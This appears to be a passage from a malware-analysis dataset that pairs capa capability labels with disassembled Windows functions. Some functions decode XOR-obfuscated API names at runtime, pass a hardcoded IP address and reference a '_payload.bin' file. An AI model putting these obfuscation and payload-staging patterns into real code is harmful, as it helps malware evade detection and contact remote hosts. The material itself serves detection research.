joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44d500
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov qword [rsp + 0x20], rax
test rbx, rbx
jbe 0x44d678
movzx edx, byte [rax]
nop
test edx, edx
jne 0x44d53c
test r8b, r8b
jne 0x44d53c
xor eax, eax
xor ebx, ebx
mov rcx, rbx
xor edi, edi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
bt edx, 7
jae 0x44d54f
xor edx, edx
xor r8d, r8d
xor r9d, r9d
jmp 0x44d638
mov r8d, 1
mov r9d, edx
and edx, 1
neg edx
shr r9d, 1
xor edx, r9d
add dword [rsi], edx
cmp rbx, r8
jb 0x44d626
sub rbx, r8
sub rcx, r8
mov rdx, rcx
neg rcx
sar rcx, 0x3f
and r8, rcx
lea rsi, [rax + r8]
test rbx, rbx
jbe 0x44d61c
movzx r8d, byte [rax + r8]
bt r8d, 7
jae 0x44d5a3
xor eax, eax
xor ecx, ecx
xor r8d, r8d
jmp 0x44d5e6
mov eax, 1
cmp rax, rbx
ja 0x44d5d5
add qword [rdi], r8
sub rdx, rax
sub rbx, rax
mov rcx, rdx
neg rdx
sar rdx, 0x3f
and rax, rdx
add rax, rsi
mov edi, 1
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rcx, rbx
call fcn.0045e6e0
lea r8d, [rcx + 7]
mov ecx, eax
mov eax, r10d
cmp rax, rbx
jae 0x44d614
movzx r9d, byte [rax + rsi]
lea r10d, [rax + 1]
mov r11d, r9d
and r9d, 0x7f
mov eax, ecx
mov ecx, r8d
shl r9d, cl
or eax, r9d
test r11b, 0x80
jne 0x44d5dd
mov r8d, eax
mov eax, r10d
jmp 0x44d5a8
mov rcx, rbx
call fcn.0045e620
xor eax, eax
mov rcx, rbx
call fcn.0045e620
mov eax, r8d
mov rcx, rbx
call fcn.0045e6e0
lea r9d, [rcx + 7]
mov rcx, r12
cmp rbx, rdx
jbe 0x44d66e
movzx r10d, byte [rdx + rax]
inc edx
mov r11d, r10d
and r10d, 0x7f
mov r12, rcx
mov ecx, r9d
shl r10d, cl
or r8d, r10d
test r11b, 0x80
jne 0x44d631
mov rcx, r12
mov r9d, edx
mov edx, r8d
mov r8d, r9d
jmp 0x44d555
mov eax, edx
mov rcx, rbx
call fcn.0045e620
xor eax, eax
mov rcx, rbx
nop dword [rax]
call fcn.0045e620
nop
int3
Function at 0x454ce0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x454d9b
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov qword [rsp + 0x70], rbx
mov qword [rsp + 8], 0
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
movups xmmword [rsp + 0x48], xmm15
lea rdx, [0x00454de0]
mov qword [rsp + 0x10], rdx
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x18], rdx
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov rdx, r14
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rdi
lea rax, [rsp + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0045be00
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
call fcn.0045bf40
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
jmp fcn.00454ce0
Function at 0x45e060
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x40296f
sub rsp, 0x20
mov qword [rsp + 0x18], rbp
lea rbp, [rsp + 0x18]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
mov rax, rdx
nop
call fcn.00409260
mov rbp, qword [rsp + 0x18]
add rsp, 0x20
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045bf40
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp 0x402940
cmp byte [0x005e6731], 0
je 0x45e075
mov rcx, qword [rax + 8]
mov rax, qword [rax]
jmp 0x45b040
jmp 0x402940

Function at 0x45e080
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov eax, dword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005e69e0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d124b
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x005e6731], 0
je 0x45e0b5
movq xmm0, rbx
pinsrd xmm0, dword [rax], 2
aesenc xmm0, xmmword [0x005e6ca0]
aesenc xmm0, xmmword [0x005e6cb0]
aesenc xmm0, xmmword [0x005e6cc0]
movq rax, xmm0
ret
jmp 0x409460

Function at 0x45e0c0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [rax]
movabs rcx, 0xe7037ed1a0b428db
xor rcx, rax
xor rax, rbx
xor rax, qword [0x005e69e0]
movabs rdx, 0xa0761d6478bd642f
xor rdx, rax
mov rax, rcx
mul rdx
xor rax, rdx
mov rcx, rax
movabs rax, 0x1d8e4e27c47d1247
mul rcx
nop
nop
xor rax, rdx
ret
cmp byte [0x005e6731], 0
je 0x45e0f6
movq xmm0, rbx
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x005e6ca0]
aesenc xmm0, xmmword [0x005e6cb0]
aesenc xmm0, xmmword [0x005e6cc0]
movq rax, xmm0
ret
jmp 0x4094c0

Function at 0x45fa20
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x30
mov rcx, 0xfffffffffffffff4
mov qword [rsp], rcx
mov rax, qword [sym.imp.kernel32.dll_GetStdHandle]
call rax
mov rcx, rax
mov qword [rsp], rcx
lea rdx, [0x005e6c20]
mov qword [rsp + 8], rdx
lea r8d, [0x005e674c]
mov qword [rsp + 0x10], r8
lea r9, [rsp + 0x28]
mov qword [r9], 0
mov qword [rsp + 0x18], r9
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.kernel32.dll_WriteFile]
call rax
call fcn.0045dfa0
add rsp, 0x30
ret
Function at 0x47ace0
Capabilities:
Hash data using fnv

Disassembly:
lea r12, [rsp - 8]
cmp r12, qword [r14 + 0x10]
jbe 0x47af60
sub rsp, 0x88
mov qword [rsp + 0x80], rbp
lea rbp, [rsp + 0x80]
mov ebx, dword [rax + 0x2c]
test ebx, ebx
jne 0x47ada3
mov qword [rsp + 0x90], rax
lea rbx, [0x004d4da0]
mov rcx, rax
lea rax, [0x00592aa0]
call fcn.00465480
test cl, cl
jne 0x47ad82
mov rax, qword [rsp + 0x90]
nop dword [rax + rax]
call fcn.00479c00
mov ecx, 1
mov rdi, rax
mov rsi, rbx
lea rax, [rsp + 0x38]
lea rbx, [0x004ff457]
nop dword [rax]
call fcn.00449980
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], rbx
call fcn.0047c0e0
mov rcx, qword [rsp + 0x90]
xor edx, edx
nop
jmp 0x47adca
lea rdx, [0x004d4ae0]
cmp rax, rdx
jne 0x47adb8
test byte [rbx], al
mov rax, rbx
mov rbp, qword [rsp + 0x80]
add rsp, 0x88
ret
call fcn.00459d60
mov rbp, qword [rsp + 0x80]
add rsp, 0x88
ret
mov rbx, rdx
lea rcx, [0x004c4500]
call fcn.00409ec0
inc rdx
cmp rbx, rdx
jle 0x47ae1e
mov rsi, qword [rax + rdx*8]
cmp qword [rsi + 0x30], rcx
jne 0x47adc7
lea rax, [0x00592aa0]
lea rbx, [0x004d4da0]
lea rdi, [0x004d4ae0]
call fcn.00465ca0
lea rdx, [0x004d4ae0]
nop word [rax + rax]
cmp rax, rdx
jne 0x47af50
test byte [rbx], al
mov rax, rbx
mov rbp, qword [rsp + 0x80]
add rsp, 0x88
ret
lea rcx, [0x004c0760]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], 0
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x60], rcx
lea rax, [0x004caa60]
call fcn.0040ca60
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x60]
test byte [rcx], al
cmp dword [0x005e69b0], 0
jne 0x47ae7e
mov rdx, qword [rcx]
mov qword [rax], rdx
movups xmm0, xmmword [rcx + 8]
movups xmmword [rax + 8], xmm0
movups xmm0, xmmword [rcx + 0x18]
movups xmmword [rax + 0x18], xmm0
movups xmm0, xmmword [rcx + 0x28]
movups xmmword [rax + 0x28], xmm0
jmp 0x47ae8d
mov rbx, rax
lea rax, [0x004caa60]
call fcn.00412300
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x30]
xor ecx, ecx
xor edi, edi
xor esi, esi
nop dword [rax]
call fcn.00479660
call fcn.00459e20
mov rsi, qword [rsp + 0x68]
mov dword [rsi + 0x28], eax
mov dword [rsi + 0x2c], 0
mov rcx, qword [rsp + 0x90]
mov edx, dword [rcx + 0x10]
mov byte [rsp + 0x2f], 0
mov byte [rsp + 0x2f], 0x2a
xor eax, eax
jmp 0x47aee4
movzx r8d, byte [rsp + rax + 0x2f]
inc rax
imul edx, edx, 0x1000193
xor edx, r8d
cmp rax, 1
jl 0x47aed2
mov dword [rsi + 0x10], edx
cmp dword [0x005e69b0], 0
jne 0x47aefc
mov qword [rsi + 0x30], rcx
jmp 0x47af05
lea rdi, [rsi + 0x30]
call fcn.0045e280
lea rax, [0x00592aa0]
lea rbx, [0x004d4da0]
lea rdi, [0x004d4ae0]
call fcn.00465ca0
lea rdx, [0x004d4ae0]
cmp rax, rdx
jne 0x47af41
test byte [rbx], al
mov rax, rbx
mov rbp, qword [rsp + 0x80]
add rsp, 0x88
nop
ret
mov rbx, rdx
lea rcx, [0x004c4500]
call fcn.00409ec0
mov rbx, rdx
lea rcx, [0x004c4500]
call fcn.00409ec0
nop
mov qword [rsp + 8], rax
call fcn.0045bf40
mov rax, qword [rsp + 8]
jmp fcn.0047ace0
Function at 0x4b8400
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
movd xmm0, dword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
movdqu xmm1, xmmword [rsi]
movdqu xmm2, xmmword [rsi + 0x10]
movdqu xmm3, xmmword [rsi + 0x20]
movdqu xmm4, xmmword [rsi + 0x30]
pxor xmm1, xmm0
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jb 0x4b84d5
movdqa xmm0, xmmword [0x00500210]
movdqa xmm5, xmm1
movdqa xmm6, xmm2
movdqa xmm7, xmm3
movdqa xmm8, xmm4
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm2, xmm0, 0
pclmulqdq xmm3, xmm0, 0
pclmulqdq xmm4, xmm0, 0
movdqu xmm11, xmmword [rsi]
movdqu xmm12, xmmword [rsi + 0x10]
movdqu xmm13, xmmword [rsi + 0x20]
movdqu xmm14, xmmword [rsi + 0x30]
pclmulqdq xmm5, xmm0, 0x11
pclmulqdq xmm6, xmm0, 0x11
pclmulqdq xmm7, xmm0, 0x11
pclmulqdq xmm8, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm2, xmm6
pxor xmm3, xmm7
pxor xmm4, xmm8
pxor xmm1, xmm11
pxor xmm2, xmm12
pxor xmm3, xmm13
pxor xmm4, xmm14
add rdi, 0x40
add rsi, 0x40
sub rcx, 0x40
cmp rcx, 0x40
jge 0x4b8441
movdqa xmm0, xmmword [0x00500220]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm2
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm3
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm4
cmp rcx, 0x10
jb 0x4b8557
movdqu xmm10, xmmword [rsi]
movdqa xmm5, xmm1
pclmulqdq xmm1, xmm0, 0
pclmulqdq xmm5, xmm0, 0x11
pxor xmm1, xmm5
pxor xmm1, xmm10
sub rcx, 0x10
add rsi, 0x10
cmp rcx, 0x10
jge 0x4b852b
pcmpeqb xmm3, xmm3
pclmulqdq xmm0, xmm1, 1
psrldq xmm1, 8
pxor xmm1, xmm0
movdqa xmm2, xmm1
movq xmm0, qword [0x005000b0]
psrlq xmm3, 0x20
psrldq xmm2, 4
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
movdqa xmm0, xmmword [0x00500660]
movdqa xmm2, xmm1
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0x10
pand xmm1, xmm3
pclmulqdq xmm1, xmm0, 0
pxor xmm1, xmm2
pextrd eax, xmm1, 1
mov dword [rsp + 0x28], eax
ret
Function at 0x140027e30
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b8b4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b8b4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027f80
cmp rax, 0xffffffffffffffff
je 0x140027f80
xor edi, edi
test rbp, rbp
jle 0x140027f2b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001deb8
mov rbx, rax
test rax, rax
jne 0x140027eb8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027f21
mov edx, 0x8000
mov ecx, r14d
call fcn.140015968
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c590
cmp eax, 0xffffffff
je 0x140027f01
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027ec8
mov edx, r15d
mov ecx, r14d
call fcn.140015968
jmp 0x140027f21
cmp byte [rsi + 0x38], dil
je 0x140027f18
cmp dword [rsi + 0x34], 5
jne 0x140027f18
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027f21
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140019f78
jmp 0x140027f94
jns 0x140027f94
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b8b4
cmp rax, 0xffffffffffffffff
jne 0x140027f4c
cmp byte [rsi + 0x30], dil
je 0x140027f94
mov edi, dword [rsi + 0x2c]
jmp 0x140027f94
mov ecx, r14d
call fcn.14001705c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027f94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027f94
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027f8d
mov eax, dword [rsi + 0x2c]
jmp 0x140027f92
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b8b4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140001b28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b72
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b74
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov dword [rsp + 0x30], 0x1e2d013f
mov dword [rsp + 0x34], 0xc181c04
mov dword [rsp + 0x38], 0x61526
lea rdx, [rsp + 0x30]
lea r9, str.hhCVp
lea r8d, [rbx + 0xb]
mov ecx, ebx
cmp word [r9 + rcx*2], bx
cmove rcx, rbx
inc rdx
movzx eax, byte [r9 + rcx*2]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001051
mov rcx, qword [0x1402134b8]
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call rax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140152910
add rsp, 0x50
pop rbx
ret

Function at 0x1400010b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1402134c0]
xor ecx, ecx
mov dword [rsp + 0x20], 0x2306052e
mov dword [rsp + 0x24], 0x2b1c0d1e
mov dword [rsp + 0x28], 0x9170404
mov word [rsp + 0x2c], 0x1f0b
lea r9d, [rcx + 0xe]
mov byte [rsp + 0x2e], 0
mov edx, ecx
lea r8, [rsp + 0x20]
lea r10, str.ylhkj
cmp word [r10 + rdx*2], cx
cmove rdx, rcx
inc r8
movzx eax, byte [r10 + rdx*2]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x140001104
mov rcx, qword [0x1402134b8]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.193.134.210.143
mov r8d, 0x118
xor r9d, r9d
mov rcx, rbx
call rax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140152910
add rsp, 0x40
pop rbx
ret

Function at 0x140001160
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, qword [0x1402134c8]
mov eax, 0x47
xor edi, edi
mov word [rbp - 0x18], ax
mov eax, 0x45
mov dword [rbp - 0x30], 0xf212e10
mov dword [rbp - 0x2c], 0x37331d
mov dword [rbp - 0x28], 0x15290c37
mov dword [rbp - 0x24], 0x221c362a
lea r9d, [rax - 0x33]
mov word [rbp - 0x20], 0x3b34
mov byte [rbp - 0x1e], 0
mov word [rbp - 0x16], ax
mov dword [rbp - 0x14], 0x54
mov edx, edi
lea r8, [rbp - 0x30]
lea rcx, str.GGOGi
nop dword [rax]
cmp word [rcx + rdx*2], di
cmove rdx, rdi
inc r8
movzx eax, byte [rcx + rdx*2]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400011e0
mov rcx, qword [0x1402134b8]
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rsp + 0x30], edi
lea r8, str._payload.bin
lea rdx, [rbp - 0x18]
xor r9d, r9d
mov rcx, rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call rax
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140152910
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140001250
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rbx, qword [0x1402134d0]
xor edi, edi
mov dword [rsp + 0x40], 0xa1a1f2e
mov dword [rsp + 0x44], 0x27060d0d
mov dword [rsp + 0x48], 0x241d1727
mov dword [rsp + 0x4c], 0x1c0c3311
lea r9d, [rdi + 0x12]
mov word [rsp + 0x50], 5
mov byte [rsp + 0x52], 0
mov edx, edi
lea r8, [rsp + 0x40]
lea rcx, str.yvtBy
cmp word [rcx + rdx*2], di
cmove rdx, rdi
inc r8
movzx eax, byte [rcx + rdx*2]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x1400012b0
mov rcx, qword [0x1402134b8]
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call rax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140152910
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret

Function at 0x140001310
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, qword [0x1402134d0]
xor ecx, ecx
mov dword [rbp - 0x20], 0x3b143333
mov dword [rbp - 0x1c], 0x282a1027
mov dword [rbp - 0x18], 0x33013016
mov dword [rbp - 0x14], 0x101160c
lea r9d, [rcx + 0x16]
mov dword [rbp - 0x10], 0x3d1c0a29
mov word [rbp - 0xc], 0x3f17
mov byte [rbp - 0xa], 0
mov edx, ecx
lea r8, [rbp - 0x20]
lea r10, str.dZzsS
cmp word [r10 + rdx*2], cx
cmove rdx, rcx
inc r8
movzx eax, byte [r10 + rdx*2]
inc rdx
xor byte [r8 - 1], al
dec r9
jne 0x140001372
mov rcx, qword [0x1402134b8]
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov rcx, rbx
call rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140152910
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x1400013c0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rbp - 8], rax
xor edi, edi
mov rbx, rcx
mov dword [rbp - 0x30], 0x21191123
mov dword [rbp - 0x2c], 0x25080030
mov dword [rbp - 0x28], 0x3c10250c
mov dword [rbp - 0x24], 0x251d16
lea r8d, [rdi + 0xf]
mov dword [rbp - 0x20], 0x31142e22
mov dword [rbp - 0x1c], 0x39370138
mov dword [rbp - 0x18], 0x22062315
mov dword [rbp - 0x14], 0x11221832
mov word [rbp - 0x10], 0x1f2b
mov byte [rbp - 0xe], 0
mov ecx, edi
lea rdx, [rbp - 0x30]
lea rsi, [0x140000000]
nop dword [rax]
cmp word [rsi + rcx*2 + 0x1c9970], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rsi + rcx*2 + 0x1c9970]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001440
mov rcx, qword [0x1402134b8]
lea rdx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
lea rdx, [rbp - 0x20]
mov qword [rbx], rax
mov r8d, 0x12
nop word [rax + rax]
cmp word [rsi + rcx*2 + 0x1c9980], di
cmove rcx, rdi
inc rdx
movzx eax, byte [rsi + rcx*2 + 0x1c9980]
inc rcx
xor byte [rdx - 1], al
dec r8
jne 0x140001490
mov rcx, qword [0x1402134b8]
lea rdx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 8], rax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140152910
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret

Function at 0x1400015c0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1402066f0]
xor rax, rsp
mov qword [rsp + 0x30], rax
lea rcx, [0x140213540]
xor edx, edx
call fcn.140003644
lea r11, vtable.CmmfmfmdmApp.0
xor r10d, r10d
mov qword [0x140213540], r11
mov dword [rsp + 0x20], 0x1d251e02
mov dword [rsp + 0x24], 0x65070106
lea r11, str.uwKur
mov dword [rsp + 0x28], 0x191e11
mov edx, r10d
lea r8, [rsp + 0x20]
lea r9d, [r10 + 0xb]
nop dword [rax]
cmp word [r11 + rdx*2], r10w
cmove rdx, r10
inc r8
movzx ecx, byte [r11 + rdx*2]
inc rdx
xor byte [r8 - 1], cl
dec r9
jne 0x140001620
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x14021368c], 1
mov qword [0x1402134b8], rax
lea rax, [0x140213540]
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140152910
add rsp, 0x48
ret
Function at 0x1400021a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_712
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xe0], rdx
test rdx, 0xffffffffffff0000
jne 0x1400072e7
cmp dword [rcx + 0xd8], 0
jne 0x1400072e7
movzx eax, dx
mov dword [rcx + 0xd8], eax
call fcn.14000e83c
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.14000724c
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400021d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140002203
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140002246
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140002241
cmp rbx, r11
jae 0x140002246
dec edi
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140002230
cmp rbx, r11
jb 0x14000224a
xor eax, eax
jmp 0x140002256
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140004588
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor esi, esi
xor ebx, ebx
mov r12, r9
mov rdi, r8
mov rbp, rdx
mov r14, rcx
test r8, r8
je 0x1400045fa
call fcn.14000e83c
mov r8d, pe_nt_image_headers64
mov rdx, rdi
mov r13, qword [rax + 0x18]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x1400045fa
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x140004647
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov edi, 1
test rsi, rsi
je 0x140004627
mov r10, qword [r14]
mov r9, r12
mov r8, rsi
mov rdx, rbp
mov rcx, r14
call qword [r10 + 0x40]
mov edi, eax
test rbx, rbx
je 0x140004627
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
cmp qword [rbp + 0xc0], 0
je 0x140004645
mov rcx, qword [rbp + 0xc0]
mov rdx, r12
mov r8, qword [rcx]
